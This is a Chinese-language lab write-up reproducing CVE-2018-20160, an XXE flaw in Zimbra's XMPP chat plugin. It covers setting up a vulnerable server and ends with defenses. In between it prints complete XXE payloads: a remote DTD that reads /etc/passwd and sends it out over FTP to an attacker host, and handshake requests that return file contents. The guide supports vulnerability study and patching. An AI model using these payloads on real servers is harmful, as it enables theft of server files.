Zimbra XMPP XXE 复现
字数 1119 2025-08-29 08:32:18
Zimbra XMPP XXE漏洞分析与复现指南
漏洞概述
本文档详细分析Zimbra XMPP组件中的XXE(XML External Entity)漏洞(CVE-2018-20160),该漏洞存在于Zimbra-chat插件中,允许攻击者通过特制的XMPP协议请求读取服务器上的任意文件。
漏洞背景
- 受影响版本:Zimbra 8.7.x和8.8.9之前的版本
- 补丁情况:
- Zimbra-chat插件通过apt自动更新修复
- 8.7.x版本的AutoDiscovers XXE需要手动安装补丁
- 相关资源:
环境搭建
基础环境
使用Docker镜像jorgedlcruz/zimbra作为基础,该镜像基于Zimbra 8.7.11版本。
安装步骤
-
修改安装包源为8.8.9版本:
https://files.zimbra.com/downloads/8.8.9_GA/zcs-8.8.9_GA_3019.UBUNTU16_64.20180809160254.tgz -
解压后删除
utils/globals.sh文件中的zimbra-patch行,防止自动更新 -
安装时不能使用8.7.11的输入重定向方法
-
降级zimbra-chat插件:
apt-get install zimbra-chat=2.0.1.1532356008-1.u16su zimbrazmmailboxdctl restart
漏洞分析
技术背景
- XMPP协议基于XML,采用流式XML解析
- 漏洞位于
/opt/zimbra/lib/openchat目录下的代码 - 使用
XMLStreamReader接口进行解析
漏洞原理
攻击者可以通过构造恶意的XMPP握手请求,利用XML外部实体注入读取服务器文件。
漏洞复现
方法一:Client to Server攻击
-
准备DTD文件(存储在外部服务器如pastebin):
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://192.168.252.1/%payload;'> "> %param1; -
使用openssl连接XMPP服务:
openssl s_client -connect 192.168.252.139:5222 -starttls xmpp --debug -
发送恶意握手报文:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtd233"> %remote; %send; ]> <stream:stream xmlns="jabber:client" version="1.0" xmlns:stream="http://etherx.jabber.org/streams" to="zimbra.io" xml:lang="zh">
方法二:Server to Server攻击
-
准备DTD文件:
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY internal '%payload;'> "> -
发送握手包(目标服务不存在时会将to属性内容回显):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtdurl"> %remote; %param1; ]> <stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:server' xmlns:db='jabber:server:dialback' to='&internal;' from='zimbra.io' xml:lang='en' version='1.0'>
限制与注意事项
-
读取限制:
- 由于数据通过XML属性传递,无法读取包含
<和&(实体定义除外)的文件 - 例如
localconfig.xml这类文件可能无法完整读取
- 由于数据通过XML属性传递,无法读取包含
-
Java版本影响:
- 新版本Java会拦截多行命令,但不影响此漏洞利用
- FTP协议中的换行符可能导致Java抛出异常
-
认证后利用:
- 可以通过message标签发送消息来读取XML文件
- 需要进一步研究starttls握手后的stream交互
防御措施
- 及时更新Zimbra-chat插件
- 对于8.7.x版本,手动安装安全补丁
- 限制XMPP服务的访问权限
- 禁用XML外部实体解析